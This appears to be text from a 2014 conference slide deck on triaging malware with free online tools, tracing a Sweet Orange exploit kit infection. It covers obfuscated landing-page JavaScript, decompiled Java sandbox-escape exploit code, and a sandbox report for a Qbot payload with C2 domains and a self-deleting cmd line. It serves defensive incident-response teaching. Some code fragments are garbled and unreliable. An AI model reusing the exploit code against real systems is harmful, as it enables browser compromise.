Look Ma, No Computer!

Crowdsourced Incident Response
Hello, My Name is:

Sergei Frankoff

@herrcore
Malware Triage

Suspicious URL
Suspicious E-mail
Intel feed

Is it malicious?
What is it exploiting?
Do we have exposure?
“You go to war triage with the resources you have”
Crowdsourcing!
OPSEC Warning!

By using these tools you will be sharing data with an unknown third party and in some cases with the entire internet.
The Scenario

Triage Workflow

1. Passive analysis
2. Initial interaction and download
3. Web component analysis
4. Exploit Analysis
5. Payload analysis
Passive Analysis

- VirusTotal
- BlueCoat Web Pulse
- Passive Total
- Domain Tools
URL: http://cdn.tequilacritico.net/

Detection ratio: 4 / 58

Analysis date: 2014-08-27 21:55:03 UTC (0 minutes ago)

<table>
<thead>
<tr>
<th>URL Scanner</th>
<th>Result</th>
</tr>
</thead>
<tbody>
<tr>
<td>BitDefender</td>
<td>Malware site</td>
</tr>
<tr>
<td>Fortinet</td>
<td>Malware site</td>
</tr>
<tr>
<td>Kaspersky</td>
<td>Malware site</td>
</tr>
<tr>
<td>Sophos</td>
<td>Malicious site</td>
</tr>
<tr>
<td>ADMINUS Labs</td>
<td>Clean site</td>
</tr>
</tbody>
</table>
WebPulse Site Review Request

The page you want reviewed is http://cdn.tequilacritico.net/  (Check another site)
This page is currently categorized as Malicious Sources/Mainnets ▲ Last Time Rated/Reviewed: August 26, 2014 14:32:50 GMT ▪

If you feel these categories are CORRECT, click here to learn more about your Internet access policy.
If you feel these categories are INCORRECT, please fill out the form below to have the web page reviewed.

Filtering Service:
Select One ▼

Category or categories that this site belongs to (read descriptions):
Select a Category ▼ Second Category (optional) ▼
<table>
<thead>
<tr>
<th>Focus</th>
<th>cdn.tequilacritico.net</th>
</tr>
</thead>
<tbody>
<tr>
<td>First</td>
<td>N/A</td>
</tr>
<tr>
<td>Last</td>
<td>N/A</td>
</tr>
<tr>
<td>Count</td>
<td>0</td>
</tr>
<tr>
<td>Tags</td>
<td>sweet orange X</td>
</tr>
<tr>
<td>Primary</td>
<td>tequilacritico.net</td>
</tr>
<tr>
<td>TLD</td>
<td>.net</td>
</tr>
</tbody>
</table>

**Classify**
- Targeted
- Crime
- Malicious
- Benign

**Watch**
- 

**Tag**
- Tags

**Dynamic**
- True
- False

**Activity**
- Filter: [ ]
Initial Interaction

UserAgentString
Online Curl
URLQuery
### Overview
- **URL**: cdn.tequilacrtico.net:16122/archive/stargalaxy.php?nebula-3
- **IP**: 95.163.121.188
- **ASN**: AS12695 Digital Networks CJSC
- **Location**: Russian Federation
- **Report completed**: 2014-08-26 15:47:49 CET
- **Status**: Report complete.
- **urlQuery Alerts**: No alerts detected

### Settings
- **UserAgent**: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20100101 Firefox/3.6.13
- **Referer**:
- **Pool**:
- **Access Level**: public

### Intrusion Detection Systems
- **Snort/Sourcefire VRT**: No alerts detected

#### Suricata/ Emerging Threats Pro

<table>
<thead>
<tr>
<th>Timestamp</th>
<th>Severity</th>
<th>Source IP</th>
<th>Destination IP</th>
<th>Alert</th>
</tr>
</thead>
<tbody>
<tr>
<td>2014-08-26 15:47:00</td>
<td>1</td>
<td>urlQuery Client</td>
<td>95.163.121.188</td>
<td>ET CURRENT_EVENTS Sweet Orange BK CDN Landing Page</td>
</tr>
<tr>
<td>2014-08-26 15:47:01</td>
<td>1</td>
<td>95.163.121.188</td>
<td>urlQuery Client</td>
<td>ET CURRENT_EVENTS Sweet Orange Landing Page Dec 09 2013</td>
</tr>
<tr>
<td>2014-08-26 15:47:14</td>
<td>2</td>
<td>urlQuery Client</td>
<td>95.163.121.188</td>
<td>ET POLICY Vulnerable Java Version 1.7.x Detected</td>
</tr>
</tbody>
</table>
Web Component Analysis

Online JS Interpreter
Web Browser (Developer Tools)
JS Beautify
Base64Decode
RC4 Online
function oioewbHJXJF(i) {
    var pp100 = [];
    pp100[i] = "--------na-----------
    return pp100;
}

function MKOFOQboj2k() {
    return "e---------eh--------------ed----";
}

function opwqiMLPOEW() {
    return "-------------------ded""---------------";
}

function xCVsasdee() {
    return "";
}

function printflash() {
    document.write("<object type="application/x-shockwave-flash" data="GYhofitz" allowscriptaccess=always width="20" height="3" param name="movie" value="""></param>
}

function print3j() {
    document.write("<applet width="20" height="15" param name="jnlp_href" value="/testi/jnlp" param name="jnlp_embedded" value="/testi/jnlp" param name="jnpn" value="/openZooYoo" param value="">

function print1j() {
    var hasflash = false;
    try {  

    Browser extensions and other uses:
Decode from Base64 format

A generic term for a number of similar encoding schemes that encode binary data by treating it numerically and transcribing it into a base 64 representation. The Base64 term originates from a specific MIME content transfer encoding.
Exploit Analysis

VirusTotal
Metasploit Git
ShowMyCode
IDEOne
Notepad
### SHA256 Hash
SHA256: c3ec6d86a3f19410f2167dbdf6c211ed92ecb1847120d46e3d951bfc6142b492

### File Name

### Detection Ratio
Detection ratio: 2 / 55

### Analysis Date
Analysis date: 2014-08-25 18:42:42 UTC (1 day, 6 hours ago)

### Antivirus Results

<table>
<thead>
<tr>
<th>Antivirus</th>
<th>Result</th>
<th>Update</th>
</tr>
</thead>
<tbody>
<tr>
<td>Kaspersky</td>
<td>HEUR:Exploit.Java.Generic</td>
<td>20140825</td>
</tr>
<tr>
<td>AVG</td>
<td></td>
<td>20140825</td>
</tr>
<tr>
<td>AVWare</td>
<td></td>
<td>20140825</td>
</tr>
</tbody>
</table>
public Exploit() {
    try {
        ByteArrayInputStream classInputStream = new ByteArrayInputStream();
        byte[] classBuffer = new byte[8192];
        int classLength;

        InputStream inputStream = getClass().getResourceAsStream(
            "DisableSecurityManagerAction.class");

        while (classLength = inputStream.read(classBuffer) > 0)
            classInputStream.write(classBuffer, 0, classLength);

        classBuffer = classInputStream.toByteArray();

        ProviderFactory fac = ProviderFactory.getDefaultFactory();
        Provider p = fac.createProvider(ExpProvider.class);
        invoc = Proxy.getInvocationHandler(p);
        Class handle = java.lang.invoke.MethodHandles.class;

        Method m = handle.getMethod("lookup", new Class[0]);
        look = (MethodHandles.Lookup) invoc.invoke(null, m, new Object[0]);

        Class context = loadClassUnderPrivContext("sun.org.mozilla.javascript.internal.Context");
        Class defClassLoader = loadClassUnderPrivContext("sun.org.mozilla.javascript.internal.DefiningClassLoader");
        Class genClassLoader = loadClassUnderPrivContext("sun.org.mozilla.javascript.internal.GeneratedClassLoader");

        MethodHandle enterMethod = getMethod(context, "enter", context,
            new Class[0], true);

        Class argTypes[] = new Class[1];
        argTypes[0] = ClassLoader.class
    }
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import javafx.application.HostServices;
import javafx.application.Preloader;
import javafx.stage.Stage;

public class Wz101k extends Preloader {
    private static void klq(method, class class1) throws exception {
        boolean flag = character.isSupplementaryCodePoint(0x10fffd);
        boolean flag1 = character.isSupplementaryCodePoint(0x110fffd);
        boolean flag2 = character.isSupplementaryCodePoint(0x110fffd);
        boolean flag3 = character.isSupplementaryCodePoint(0x110fffd);
        boolean flag4 = character.isSupplementaryCodePoint(0x110fffd);
        boolean flag5 = character.isSupplementaryCodePoint(0x110fffd);
        boolean flag6 = character.isSupplementaryCodePoint(0x110fffd);
        boolean flag7 = character.isSupplementaryCodePoint(0x110fffd);
        boolean flag8 = character.isSupplementaryCodePoint(0x110fffd);
        boolean flag9 = character.isSupplementaryCodePoint(0x110fffd);
        boolean flag10 = character.isSupplementaryCodePoint(0x110fffd);
        boolean flag11 = character.isSupplementaryCodePoint(0x110fffd);
        boolean flag12 = character.isSupplementaryCodePoint(0x110fffd);
        boolean flag13 = character.isSupplementaryCodePoint(0x110fffd);
        boolean flag14 = character.isSupplementaryCodePoint(0x110fffd);
        boolean flag15 = character.isSupplementaryCodePoint(0x110fffd);
        boolean flag16 = character.isSupplementaryCodePoint(0x110fffd);
        boolean flag17 = character.isSupplementaryCodePoint(0x110fffd);
        boolean flag18 = character.isSupplementaryCodePoint(0x110fffd);
        boolean flag19 = character.isSupplementaryCodePoint(0x110fffd);
        boolean flag20 = character.isSupplementaryCodePoint(0x110fffd);
public void YKH(WzIolld wziolld, Class aclass[])
{
  String as[] = NKFwlfRoz.POPK(wziolld);
  try
  {
    byte byte8[] = new byte[0192];
    Class class1 = wziolld.getClass();
    Object obj = XlyYj(class1, "getResourceAsStream", "java.lang.String", "ofaPB.qvCw");
    Object obj = NKFwlfRoz.c2lKIN:leH(obj, "5555465ZD2AlFD2992");
    Object obj1 = Class.forName("com.sun.tracing.ProviderFactory").getMethod("getDefaultFactory", new Class[0]).invoke(null, new Object[0]);
    WzIolld.PDU(obj1);
    Class class2 = Class.forName("java.lang.invoke.MethodHandles");
    System.out.println(obj1);
    Method method = class2.getMethod("lookup", new Class[0]);
    XEc = GRkvaPko.invoke(null, method, new Object[0]);
    Class class3 = JLqfxlGubs("sun.org.mozilla.jsiat6script.internal.Context");
    Class class4 = JLqfxlGubs("sun.org.mozilla.jsiat6script.internal.DefiningClassLoader");
    Class class5 = JLqfxlGubs("sun.org.mozilla.jsiat6script.internal.GeneratedClassLoader");
    MethodHandle methodhandle = (MethodHandle)UK8UDU(class3, "enter", class3, new Class[0], true);
    Class aclass1[] = new Class[];
    aclass1[0] = Class.forName("java.lang.ClassLoader");
    MethodHandle methodhandle1 = (MethodHandle)UK8UDU(class3, "createClassLoader", class5, aclass1, false);
    aclass1 = new Class[2];
    aclass1[0] = Class.forName("java.lang.String");
    aclass1[1] = (new byte[0]).getClass();
    MethodHandle methodhandle2 = (MethodHandle)UK8UDU(class4, "defineClass", java/lang/Class, aclass1, false);
    Object obj2 = methodhandle2.invoke();
    Object obj2 = methodhandle1.invoke(obj2, null);
    Class class6 = methodhandle2.invoke(obj3, "disabler", byte8);
    class6.newInstance();
  }
}
Payload Analysis

Virus Total
Malwr
Total Hash
IOC Bucket
SHA256: 9c2ff4e0e5e5c752a277f85558d043e22a8518e3916eb5b6c3f60f344d3610881148
File name: aobam.exe
Detection ratio: 5 / 55
Analysis date: 2014-08-25 18:43:12 UTC (2 days, 2 hours ago)

<table>
<thead>
<tr>
<th>Antivirus</th>
<th>Result</th>
<th>Update</th>
</tr>
</thead>
<tbody>
<tr>
<td>Bkav</td>
<td>HW32.Laneul.gusg</td>
<td>20140821</td>
</tr>
<tr>
<td>DrWeb</td>
<td>BackDoor.Qbot.222</td>
<td>20140825</td>
</tr>
<tr>
<td>Qihoo-360</td>
<td>HEUR/Malware.QVM20.Gen</td>
<td>20140825</td>
</tr>
<tr>
<td>Rising</td>
<td>PE: Malware.XPACK-LNR/Heur1.5594</td>
<td>20140825</td>
</tr>
<tr>
<td>Sophos</td>
<td>Mal/Qbot-I</td>
<td>20140825</td>
</tr>
<tr>
<td>AVG</td>
<td></td>
<td>20140825</td>
</tr>
</tbody>
</table>
### Written files

C:\Documents and Settings\<USER>\Application Data\Microsoft\Akiegaki\akiegaki.dll (successful)

### Copied files

**SRC:** C:\9c2ff4f6e85cb57a27f85558043f22a8616e3916eb6b5c3f60f3443610881148  
**DST:** C:\Documents and Settings\<USER>\Application Data\Microsoft\Akiegaki\akiegaki.exe (successful)

### Code injections in the following processes

- explorer.exe (successful)
- ping.exe (successful)
- VBoxTray.exe (successful)
- akiegaki.exe (successful)

### Created mutexes

- 9c2ff4f6e85cb57a27f85558043f22a8 (successful)
- ssvwvci (successful)
- Global\expit (successful)
- Global\kmmydtd (successful)
- Global\reqysvly (successful)
- Global\akiegaki (successful)
HTTP requests

URL: http://google.com/
TYPE: GET
USER AGENT: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)

URL: http://vindicoasset.edgesuite.net/Repository/CampaignCreative/Campaign_16474/NSTREAMAD/KRT0565H_Chili_Pot_Non-New.flv?a=20555
TYPE: GET
USER AGENT: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)

URL: http://vyqtqswbckqd.com/dlZpPXpLy.php
TYPE: POST
USER AGENT: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)

URL: http://forumity.com/show-ip.php
TYPE: GET
USER AGENT: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)

DNS requests

google.com (173.194.40.101)
nouawetqd.biz
www.ip-adress.com (64.34.169.244)
vindicoasset.edgesuite.net (90.84.60.106)
rnxjynncoqzjvjuicswss.biz
zxlwdglflmh/ysztgcckgtp.org
Status update

Dear friends,

First thing first we want to express our immense gratitude for all the support that we received during the last weeks. We received a lot of emails offering support and a few generous individual who donated some money to us. We apologize if we haven’t managed to answer to any emails, but we really received many, more than we could handle in the last weeks.

As we anticipated on Twitter, we are happy to announce that we are getting back in business. We managed to collect enough resources to resume operations and we are currently going through the process of setting up the infrastructure and migrating the data. We expect that it will take another week or so before the website will be operational again. Fear not, it will be soon enough.

Please follow us at @malwr for more regular updates.

Thanks to you all.

published on 2014-08-22 12:00:00
Process
→ C:\malware.exe

<table>
<thead>
<tr>
<th>CREATES FILE</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>C:\Documents and Settings\Administrator\Application Data\Microsoft\Ikgp\Ikgp.dll</td>
</tr>
<tr>
<td></td>
<td>PIPE\samr</td>
</tr>
<tr>
<td></td>
<td>C:\Documents and Settings\Administrator\Application Data\Microsoft\Ikgp\Ikgp1.exe</td>
</tr>
<tr>
<td></td>
<td>PIPE\isarpc</td>
</tr>
<tr>
<td></td>
<td>Global\fuckbh</td>
</tr>
<tr>
<td></td>
<td>Global\vakmo</td>
</tr>
<tr>
<td></td>
<td>Global\nygjtc</td>
</tr>
<tr>
<td></td>
<td>313a8248ba3a394340e6b7ebb673d91b5fb00edd</td>
</tr>
<tr>
<td></td>
<td>Global\Ikgp1</td>
</tr>
<tr>
<td></td>
<td>ooxiøj</td>
</tr>
</tbody>
</table>

Process
→ cmd /c ping -n 10 localhost && del "C:\malware.exe"
Welcome,

We tried to make it as easy as possible for anyone to search for a particular IOC. When you perform a search you are searching all of the metadata we have on that IOC as well as the full contents.

searching 294 IOCs

10 Most Recent IOC Uploads

<table>
<thead>
<tr>
<th>Upload Date</th>
<th>nickname / author</th>
<th>type</th>
</tr>
</thead>
<tbody>
<tr>
<td>08/27/2014 22:19:40</td>
<td>(n) clientmesh rat (a) kevin breen <a href="mailto:kevin@techanarchy.net">kevin@techanarchy.net</a></td>
<td>YARA</td>
</tr>
<tr>
<td>08/25/2014 23:50:24</td>
<td>(n) carbon grabber malware campaign (a) @iocbucket</td>
<td>OpenIOC1.0</td>
</tr>
<tr>
<td>08/25/2014 23:48:14</td>
<td>(n) backoff pos malware symantec reporting (a) @iocbucket</td>
<td>OpenIOC1.0</td>
</tr>
</tbody>
</table>
Close Feedback Loop

- Upload samples.
- Leave comments.
- Join a trust group.
- Blog your analysis.